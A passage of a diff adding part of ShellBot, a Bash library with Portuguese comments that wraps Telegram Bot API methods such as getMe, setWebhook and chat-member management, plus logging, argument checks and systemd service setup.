+		[[ ${mid:=${chosen_inline_result_result_id[$i]}}	]] ||
+		[[ ${mid:=${channel_post_message_id[$i]}}			]] ||
+		[[ ${mid:=${edited_channel_post_message_id[$i]}}	]]
+
+		# Mensagem (data)
+		[[ ${mdate:=${message_date[$i]}}				]] ||
+		[[ ${mdate:=${edited_message_date[$i]}} 		]] ||
+		[[ ${mdate:=${callback_query_message_date[$i]}}	]] ||
+		[[ ${mdate:=${channel_post_date[$i]}}			]] ||
+		[[ ${mdate:=${edited_channel_post_date[$i]}}	]]
+
+		# Mensagem (texto)
+		[[ ${mtext:=${message_text[$i]}} 				]] ||
+		[[ ${mtext:=${edited_message_text[$i]}} 		]] ||
+		[[ ${mtext:=${callback_query_message_text[$i]}} ]] ||
+		[[ ${mtext:=${inline_query_query[$i]}} 			]] ||
+		[[ ${mtext:=${chosen_inline_result_query[$i]}}	]] ||
+		[[ ${mtext:=${channel_post_text[$i]}}			]] ||
+		[[ ${mtext:=${edited_channel_post_text[$i]}}	]]
+
+		# Mensagem (tipo)
+		[[ ${etype:=${message_entities_type[$i]}} 					]] ||
+		[[ ${etype:=${edited_message_entities_type[$i]}} 			]] ||
+		[[ ${etype:=${callback_query_message_entities_type[$i]}}	]] ||
+		[[ ${etype:=${channel_post_entities_type[$i]}}				]] ||
+		[[ ${etype:=${edited_channel_post_entities_type[$i]}}		]]
+
+		# Flags
+		fmt=${fmt//\{BOT_TOKEN\}/${_BOT_INFO_[0]:--}}
+		fmt=${fmt//\{BOT_ID\}/${_BOT_INFO_[1]:--}}
+		fmt=${fmt//\{BOT_FIRST_NAME\}/${_BOT_INFO_[2]:--}}
+		fmt=${fmt//\{BOT_USERNAME\}/${_BOT_INFO_[3]:--}}
+		fmt=${fmt//\{BASENAME\}/${_BOT_SCRIPT_:--}}
+		fmt=${fmt//\{OK\}/${return[ok]:-${ok:--}}}
+		fmt=${fmt//\{UPDATE_ID\}/${update_id[$i]:--}}
+		fmt=${fmt//\{OBJECT_TYPE\}/${obj:--}}
+		fmt=${fmt//\{OBJECT_ID\}/${oid:--}}
+		fmt=${fmt//\{FROM_ID\}/${fid:--}}
+		fmt=${fmt//\{FROM_IS_BOT\}/${fbot:--}}
+		fmt=${fmt//\{FROM_FIRST_NAME\}/${fname:--}}
+		fmt=${fmt//\{FROM_USERNAME\}/${fuser:--}}
+		fmt=${fmt//\{FROM_LANGUAGE_CODE\}/${lcode:--}}
+		fmt=${fmt//\{CHAT_ID\}/${cid:--}}
+		fmt=${fmt//\{CHAT_TYPE\}/${ctype:--}}
+		fmt=${fmt//\{CHAT_TITLE\}/${ctitle:--}}
+		fmt=${fmt//\{MESSAGE_ID\}/${mid:--}}
+		fmt=${fmt//\{MESSAGE_DATE\}/${mdate:--}}
+		fmt=${fmt//\{MESSAGE_TEXT\}/${mtext:--}}
+		fmt=${fmt//\{ENTITIES_TYPE\}/${etype:--}}
+		fmt=${fmt//\{METHOD\}/${FUNCNAME[2]/main/ShellBot.getUpdates}}
+		fmt=${fmt//\{RETURN\}/$(SetDelmValues "$2")}
+
+		exec 2<&5
+
+		# log
+		[[ $fmt ]] && { echo "$fmt" >> "$_BOT_LOG_FILE_" || MessageError API; }
+
+		# Limpa objetos
+		fid= fbot= fname= fuser= lcode= cid= ctype= 
+		ctitle= mid= mdate= mtext= etype= obj= oid=
+	done
+
+	return $?
+}
+
+MethodReturn()
+{
+	# Retorno
+	case $_BOT_TYPE_RETURN_ in
+		json) echo "$1";;
+		value) SetDelmValues "$1";;
+		map)
+			local key val vars vals i obj
+			return=()
+
+			mapfile -t vars <<< $(GetAllKeys "$1")
+			mapfile -t vals <<< $(GetAllValues "$1")
+
+			for i in ${!vars[@]}; do
+				key=${vars[$i]//[0-9\[\]]/}
+				key=${key#result.}
+				key=${key//./_}
+
+				val=${vals[$i]}
+				val=${val#\"}
+				val=${val%\"}
+				
+				[[ ${return[$key]} ]] && return[$key]+=${_BOT_DELM_}${val} || return[$key]=$val
+				[[ $_BOT_MONITOR_ ]] && printf "[%s]: return[%s] = '%s'\n" "${FUNCNAME[1]}" "$key" "$val"
+			done
+			;;
+	esac
+	
+	[[ $(jq -r '.ok' <<< "$1") == true ]]
+
+	return $?
+}
+
+MessageError()
+{
+	# Variáveis locais
+	local err_message err_param assert i
+	
+	# A variável 'BASH_LINENO' é dinâmica e armazena o número da linha onde foi expandida.
+	# Quando chamada dentro de um subshell, passa ser instanciada como um array, armazenando diversos
+	# valores onde cada índice refere-se a um shell/subshell. As mesmas caracteristicas se aplicam a variável
+	# 'FUNCNAME', onde é armazenado o nome da função onde foi chamada.
+	
+	# Obtem o índice da função na hierarquia de chamada.
+	[[ ${FUNCNAME[1]} == CheckArgType ]] && i=2 || i=1
+	
+	# Lê o tipo de ocorrência.
+	# TG - Erro externo retornado pelo core do telegram.
+	# API - Erro interno gerado pela API do ShellBot.
+	case $1 in
+		TG)
+			err_param="$(Json '.error_code' "$2")"
+			err_message="$(Json '.description' "$2")"
+			;;
+		API)
+			err_param="${3:--}: ${4:--}"
+			err_message="$2"
+			assert=true
+			;;
+	esac
+
+	# Imprime erro
+	printf "%s: erro: linha %s: %s: %s: %s\n"					\
+							"${_BOT_SCRIPT_}"					\
+							"${BASH_LINENO[$i]:--}" 			\
+							"${FUNCNAME[$i]:--}" 				\
+							"${err_param:--}" 					\
+							"${err_message:-$_ERR_UNKNOWN_}" 	1>&2 
+
+	# Finaliza script/thread em caso de erro interno, caso contrário retorna 1
+	${assert:-false} && exit 1 || return 1
+}
+
+CheckArgType()
+{
+	# CheckArgType recebe os dados da função chamadora e verifica
+	# o dado recebido com o tipo suportado pelo parâmetro.
+	# É retornado '0' para sucesso, caso contrário uma mensagem
+	# de erro é retornada e o script/thread é finalizado com status '1'.
+	case $1 in
+		user)		id "$3" &>/dev/null						|| MessageError API "$_ERR_SERVICE_USER_NOT_FOUND_" "$2" "$3";;
+		func)		[[ $(type -t "$3") == function			]] 	|| MessageError API "$_ERR_FUNCTION_NOT_FOUND_" "$2" "$3";;
+		var)		[[ -v $3 								]] 	|| MessageError API "$_ERR_VAR_NAME_" "$2" "$3";;
+		int)		[[ $3 =~ ^-?[0-9]+$ 					]] 	|| MessageError API "$_ERR_TYPE_INT_" "$2" "$3";;
+		float)		[[ $3 =~ ^-?[0-9]+\.[0-9]+$ 			]] 	|| MessageError API "$_ERR_TYPE_FLOAT_" "$2" "$3";;
+		bool)		[[ $3 =~ ^(true|false)$ 				]] 	|| MessageError API "$_ERR_TYPE_BOOL_" "$2" "$3";;
+		token)		[[ $3 =~ ^[0-9]+:[a-zA-Z0-9_-]+$		]] 	|| MessageError API "$_ERR_TOKEN_INVALID_" "$2" "$3";;
+		file)		[[ $3 =~ ^@ && ! -f ${3#@} 				]] 	&& MessageError API "$_ERR_FILE_NOT_FOUND_" "$2" "$3";;
+		return)		[[ $3 == @(json|map|value) 				]] 	|| MessageError API "$_ERR_ARG_" "$2" "$3";;
+		cmd)		[[ $3 =~ ^/[a-zA-Z0-9_]+$ 				]] 	|| MessageError API "$_ERR_ARG_" "$2" "$3";;
+		flag)		[[ $3 =~ ^[a-zA-Z0-9_]+$ 				]] 	|| MessageError API "$_ERR_ARG_" "$2" "$3";;
+	esac
+
+	return $?
+}
+
+FlushOffset()
+{    
+	local sid eid jq_obj
+
+	while :; do
+		jq_obj=$(ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext))
+		IFS=' ' read -a update_id <<< $(jq -r '.result|.[]|.update_id' <<< $jq_obj)
+		[[ $update_id ]] || break
+		sid=${sid:-${update_id[0]}}
+		eid=${update_id[-1]}
+	done
+	
+	echo "${sid:-0}|${eid:-0}"
+
+	return $?
+}
+
+CreateUnitService()
+{
+	local service=${1%.*}.service
+	local ok='\033[0;32m[OK]\033[0;m'
+	local fail='\033[0;31m[FALHA]\033[0;m'
+	
+	((UID == 0)) || MessageError API "$_ERR_SERVICE_NOT_ROOT_"
+
+	# O modo 'service' requer que o sistema de gerenciamento de processos 'systemd'
+	# esteja presente para que o Unit target seja linkado ao serviço.
+	if ! which systemctl &>/dev/null; then
+		MessageError API "$_ERR_SERVICE_SYSTEMD_NOT_FOUND_"; fi
+
+
+	# Se o serviço existe.
+	test -e /lib/systemd/system/$service && \
+	MessageError API "$_ERR_SERVICE_EXISTS_" "$service"
+
+	# Gerando as configurações do target.
+	cat > /lib/systemd/system/$service << _eof
+[Unit]
+Description=$1 - (SHELLBOT)
+After=network-online.target
+
+[Service]
+User=$2
+WorkingDirectory=$PWD
+ExecStart=/bin/bash $1
+ExecReload=/bin/kill -HUP \$MAINPID
+ExecStop=/bin/kill -KILL \$MAINPID
+KillMode=process
+Restart=on-failure
+RestartPreventExitStatus=255
+Type=simple
+
+[Install]
+WantedBy=multi-user.target
+_eof
+
+	[[ $? -eq 0 ]] && {	
+		
+		printf '%s foi criado com sucesso !!\n' $service	
+		echo -n "Habilitando..."
+ 		systemctl enable $service &>/dev/null && echo -e $ok || \
+		{ echo -e $fail; MessageError API; }
+
+		sed -i -r '/^\s*ShellBot.init\s/s/\s--?(s(ervice)?|u(ser)?\s+\w+)\b//g' "$1"
+		systemctl daemon-reload
+
+		echo -n "Iniciando..."
+		systemctl start $service &>/dev/null && {
+		
+			echo -e $ok
+			systemctl status $service
+			echo -e "\nUso: sudo systemctl {start|stop|restart|reload|status} $service"
+		
+		} || echo -e $fail
+	
+	} || MessageError API
+
+	exit 0
+}
+
+# Inicializa o bot, definindo sua API e _TOKEN_.
+ShellBot.init()
+{
+	local method_return delm ret logfmt jq_obj offset
+	local token monitor flush service user logfile logfmt
+	
+	# Verifica se o bot já foi inicializado.
+	[[ $_SHELLBOT_INIT_ ]] && MessageError API "$_ERR_BOT_ALREADY_INIT_"
+
+	local param=$(getopt --name "$FUNCNAME" \
+						 --options 't:mfsu:l:o:r:d:' \
+						 --longoptions 'token:,
+										monitor,
+										flush,
+										service,
+										user:,
+										log_file:,
+										log_format:,
+										return:,
+										delimiter:' \
+    					 -- "$@")
+    
+	# Define os parâmetros posicionais
+	eval set -- "$param"
+	
+	while :
+    	do
+			case $1 in
+				-t|--token)
+	    			CheckArgType token "$1" "$2"
+					token=$2
+	    			shift 2
+	   				;;
+	   			-m|--monitor)
+					# Ativa modo monitor
+					monitor=true
+	   				shift
+	   				;;
+				-f|--flush)
+					# Define a FLAG flush para o método 'ShellBot.getUpdates'. Se ativada, faz com que
+					# o método obtenha somente as atualizações disponíveis, ignorando a extração dos
+					# objetos JSON e a inicialização das variáveis.
+					flush=true
+					shift
+					;;
+				-s|--service)
+					service=true
+					shift
+					;;
+				-u|--user)
+					CheckArgType user "$1" "$2"
+					user=$2
+					shift 2
+					;;
+				-l|--log_file)
+					logfile=$2
+					shift 2
+					;;
+				-o|--log_format)
+					logfmt=$2
+					shift 2
+					;;
+				-r|--return)
+					CheckArgType return "$1" "$2"
+					ret=$2
+					shift 2
+					;;
+				-d|--delimiter)
+					delm=$2
+					shift 2
+					;;
+	   			--)
+	   				shift
+	   				break
+	   				;;
+	   		esac
+	   	done
+  
+	# Parâmetro obrigatório.	
+	[[ $token 					]]	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --token]"
+	[[ $user && ! $service 		]] 	&& MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --service]" 
+	[[ $service 				]]	&& CreateUnitService "$_BOT_SCRIPT_" "${user:-$USER}"
+		   
+	declare -gr _TOKEN_=$token											# TOKEN
+	declare -gr _API_TELEGRAM_="https://api.telegram.org/bot$_TOKEN_"	# API
+
+	# Testa conexão.
+	curl -s "$_API_TELEGRAM_" &>- || MessageError API "$_ERR_CONNECTION_"
+
+    # Um método simples para testar o token de autenticação do seu bot. 
+    # Não requer parâmetros. Retorna informações básicas sobre o bot em forma de um objeto Usuário.
+    ShellBot.getMe()
+    {
+    	# Chama o método getMe passando o endereço da API, seguido do nome do método.
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.})
+
+		# Verifica o status de retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    }
+
+	ShellBot.getMe &>- || MessageError API "$_ERR_TOKEN_UNAUTHORIZED_" '[-t, --token]'
+	
+	# Salva as informações do bot.
+	declare -gr _BOT_INFO_=(
+		[0]=$_TOKEN_
+		[1]=$(Json '.result.id' $jq_obj)
+		[2]=$(Json '.result.first_name' $jq_obj)
+		[3]=$(Json '.result.username' $jq_obj)
+	)
+
+	# Configurações.
+	declare -gr _BOT_FLUSH_=$flush
+	declare -gr _BOT_MONITOR_=$monitor
+	declare -gr _BOT_SERVICE_=$service
+	declare -gr _BOT_USER_SERVICE_=$user
+	declare -gr _BOT_TYPE_RETURN_=${ret:-value}
+	declare -gr _BOT_DELM_=${delm:-|}
+	declare -gr _BOT_LOG_FILE_=${logfile}
+	declare -gr _BOT_LOG_FORMAT_=${logfmt:-%(%d/%m/%Y %H:%M:%S)T: \{BASENAME\}: \{BOT_USERNAME\}: \{UPDATE_ID\}: \{METHOD\}: \{CHAT_TYPE\}: \{FROM_USERNAME\}: \{OBJECT_TYPE\}: \{OBJECT_ID\}: \{MESSAGE_TEXT\}}
+	declare -gr _SHELLBOT_INIT_=1
+
+    # SHELLBOT (FUNÇÕES)
+	# Inicializa as funções para chamadas aos métodos da API do telegram.
+	ShellBot.ListUpdates(){ echo ${!update_id[@]}; }
+	ShellBot.TotalUpdates(){ echo ${#update_id[@]}; }
+	ShellBot.OffsetEnd(){ local -i offset=${update_id[@]: -1}; echo $offset; }
+	ShellBot.OffsetNext(){ echo $((${update_id[@]: -1}+1)); }
+   	
+	ShellBot.token() { echo "${_BOT_INFO_[0]}"; }
+	ShellBot.id() { echo "${_BOT_INFO_[1]}"; }
+	ShellBot.first_name() { echo "${_BOT_INFO_[2]}"; }
+	ShellBot.username() { echo "${_BOT_INFO_[3]}"; }
+  
+	ShellBot.getConfig()
+	{
+		local jq_obj
+
+		printf -v jq_obj '{"monitor":%s,"flush":%s,"service":%s,"return":"%s","delimiter":"%s","user":"%s","log_file":"%s","log_format":"%s"}'	\
+							"${_BOT_MONITOR_:-false}"   \
+							"${_BOT_FLUSH_:-false}"  	\
+							"${_BOT_SERVICE_:-false}"   \
+							"${_BOT_TYPE_RETURN_}"      \
+							"${_BOT_DELM_}"				\
+							"${_BOT_USER_SERVICE_}"     \
+							"${_BOT_LOG_FILE_}"         \
+							"${_BOT_LOG_FORMAT_}"
+
+		MethodReturn "$jq_obj"
+
+		return $?	
+	}
+
+    ShellBot.regHandleFunction()
+    {
+    	local function data handle args
+    
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'f:a:d:' \
+								--longoptions	'function:,
+												args:,
+												callback_data:' \
+								-- "$@")
+    
+		eval set -- "$param"
+    		
+		while :
+		do
+   			case $1 in
+   				-f|--function)
+					CheckArgType func "$1" "$2"
+   					function=$2
+   					shift 2
+   					;;
+    			-a|--args)
+   					args=$2
+   					shift 2
+   					;;
+   				-d|--callback_data)
+   					data=$2
+   					shift 2
+   					;;
+   				--)
+   					shift
+   					break
+   					;;
+   			esac
+   		done
+
+		[[ $function ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --function]"
+   		[[ $data ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --callback_data]"
+
+   		[[ ${_BOT_HANDLE_[$data]} ]] && MessageError API "$_ERR_HANDLE_EXISTS_" '[-d, --callback_data]'
+
+   		_BOT_HANDLE_[$data]=func:$function' '$args
+
+   		return 0
+    }
+    
+	ShellBot.regHandleExec()
+    {
+    	local cmd data
+    
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:d:' \
+								--longoptions	'command:,
+												callback_data:' \
+								-- "$@")
+    
+		eval set -- "$param"
+    		
+		while :
+		do
+   			case $1 in
+   				-c|--command)
+   					cmd=$2
+   					shift 2
+   					;;
+   				-d|--callback_data)
+   					data=$2
+   					shift 2
+   					;;
+   				--)
+   					shift
+   					break
+   					;;
+   			esac
+   		done
+
+		[[ $cmd ]]	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --command]"
+   		[[ $data ]]	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --callback_data]"
+
+   		[[ ${_BOT_HANDLE_[$data]} ]] && MessageError API "$_ERR_HANDLE_EXISTS_" "[-d, --callback_data]"
+
+   		_BOT_HANDLE_[$data]=exec:$cmd
+
+   		return 0
+    }
+    
+    ShellBot.watchHandle()
+    {
+    	local data flag cmd
+
+		local param=$(getopt --name "$FUNCNAME" \
+							--options 'd' \
+							--longoptions 'callback_data' \
+							-- "$@")
+    
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-d|--callback_data)
+    				shift 2
+    				data=$1
+    				;;
+    			*)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+		# Handles (somente-leitura)
+		readonly _BOT_HANDLE_
+
+    	[[ $data ]] || return 1 # vazio
+   	
+		IFS=':' read -r flag cmd <<< "${_BOT_HANDLE_[$data]}"
+
+		case $flag in
+			func) $cmd;;
+			exec) eval "$cmd";;
+		esac
+    
+    	# retorno
+    	return 0
+    }
+    
+    ShellBot.getWebhookInfo()
+    {
+    	# Variável local
+    	local jq_obj
+	
+    	# Chama o método getMe passando o endereço da API, seguido do nome do método.
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.})
+    	
+    	# Verifica o status de retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    }
+    
+    ShellBot.deleteWebhook()
+    {
+    	# Variável local
+    	local jq_obj
+	
+    	# Chama o método getMe passando o endereço da API, seguido do nome do método.
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.})
+    	
+    	# Verifica o status de retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	return $?
+    }
+    
+    ShellBot.setWebhook()
+    {
+    	local url certificate max_connections allowed_updates jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'u:c:m:a:' \
+							 --longoptions 'url:, 
+    										certificate:,
+    										max_connections:,
+    										allowed_updates:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-u|--url)
+    				url=$2
+    				shift 2
+    				;;
+    			-c|--certificate)
+					CheckArgType file "$1" "$2"
+    				certificate=$2
+    				shift 2
+    				;;
+    			-m|--max_connections)
+    				CheckArgType int "$1" "$2"
+    				max_connections=$2
+    				shift 2
+    				;;
+    			-a|--allowed_updates)
+    				allowed_updates=$2
+    				shift 2
+    				;;
+    			--)
+    				shift 
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $url ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --url]"
+    
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${url:+-d url="$url"} \
+									${certificate:+-d certificate="$certificate"} \
+									${max_connections:+-d max_connections="$max_connections"} \
+									${allowed_updates:+-d allowed_updates="$allowed_updates"})
+    
+    	# Testa o retorno do método.
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	# Status
+    	return $?
+    }	
+    
+    ShellBot.setChatPhoto()
+    {
+    	local chat_id photo jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:p:' \
+							 --longoptions 'chat_id:,photo:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-p|--photo)
+					CheckArgType file "$1" "$2"
+    				photo=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $photo ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+ 									${photo:+-F photo="$photo"})
+    
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.deleteChatPhoto()
+    {
+    	local chat_id jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+							 --longoptions 'chat_id:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		# Status
+    	return $?
+    
+    }
+    
+    ShellBot.setChatTitle()
+    {
+    	
+    	local chat_id title jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:t:' \
+							 --longoptions 'chat_id:,title:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-t|--title)
+    				title=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $title ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+ 									${title:+-d title="$title"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		# Status
+    	return $?
+    }
+    
+    
+    ShellBot.setChatDescription()
+    {
+    	
+    	local chat_id description jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:d:' \
+							 --longoptions 'chat_id:,description:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-d|--description)
+    				description=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $description ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --description]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+ 									${description:+-d description="$description"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.pinChatMessage()
+    {
+    	
+    	local chat_id message_id disable_notification jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:m:n:' \
+							 --longoptions 'chat_id:,
+											message_id:,
+    										disable_notification:' \
+    						 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-m|--message_id)
+    				CheckArgType int "$1" "$2"
+    				message_id=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;	
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+ 									${message_id:+-d message_id="$message_id"} \
+ 									${disable_notification:+-d disable_notification="$disable_notification"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.unpinChatMessage()
+    {
+    	local chat_id jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+							 --longoptions 'chat_id:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.restrictChatMember()
+    {
+    	local chat_id user_id until_date permissions jq_obj
+    
+    	local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:u:d:p:' \
+								--longoptions 'chat_id:,
+												user_id:,
+												until_date:,
+												permissions:' \
+								-- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			-d|--until_date)
+    				CheckArgType int "$1" "$2"
+    				until_date=$2
+    				shift 2
+    				;;
+				-p|--permissions)
+					permissions=$2
+					shift 2
+					;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+    	[[ $permissions ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --permissions]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${user_id:+-d user_id="$user_id"} \
+									${until_date:+-d until_date="$until_date"} \
+									${permissions:+-d permissions="$permissions"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    	
+    }
+    
+    
+    ShellBot.promoteChatMember()
+    {
+    	local	chat_id user_id can_change_info can_post_messages \
+    			can_edit_messages can_delete_messages can_invite_users \
+    			can_restrict_members can_pin_messages can_promote_members \
+				jq_obj
+    
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:u:i:p:e:d:v:r:f:m:' \
+							 --longoptions 'chat_id:,
+    										user_id:,
+    										can_change_info:,
+    										can_post_messages:,
+    										can_edit_messages:,
+    										can_delete_messages:,
+    										can_invite_users:,
+    										can_restrict_members:,
+    										can_pin_messages:,
+    										can_promote_members:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			-i|--can_change_info)
+    				CheckArgType bool "$1" "$2"
+    				can_change_info=$2
+    				shift 2
+    				;;
+    			-p|--can_post_messages)
+    				CheckArgType bool "$1" "$2"
+    				can_post_messages=$2
+    				shift 2
+    				;;
+    			-e|--can_edit_messages)
+    				CheckArgType bool "$1" "$2"
+    				can_edit_messages=$2
+    				shift 2
+    				;;
+    			-d|--can_delete_messages)
+    				CheckArgType bool "$1" "$2"
+    				can_delete_messages=$2
+    				shift 2
+    				;;
+    			-v|--can_invite_users)
+    				CheckArgType bool "$1" "$2"
+    				can_invite_users=$2
+    				shift 2
+    				;;
+    			-r|--can_restrict_members)
+    				CheckArgType bool "$1" "$2"
+    				can_restrict_members=$2
+    				shift 2
+    				;;
+    			-f|--can_pin_messages)
+    				CheckArgType bool "$1" "$2"
+    				can_pin_messages=$2
+    				shift 2
+    				;;	
+    			-m|--can_promote_members)
+    				CheckArgType bool "$1" "$2"
+    				can_promote_members=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --user_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${user_id:+-d user_id="$user_id"} \
+									${can_change_info:+-d can_change_info="$can_change_info"} \
+									${can_post_messages:+-d can_post_messages="$can_post_messages"} \
+									${can_edit_messages:+-d can_edit_messages="$can_edit_messages"} \
+									${can_delete_messages:+-d can_delete_messages="$can_delete_messages"} \
+									${can_invite_users:+-d can_invite_users="$can_invite_users"} \
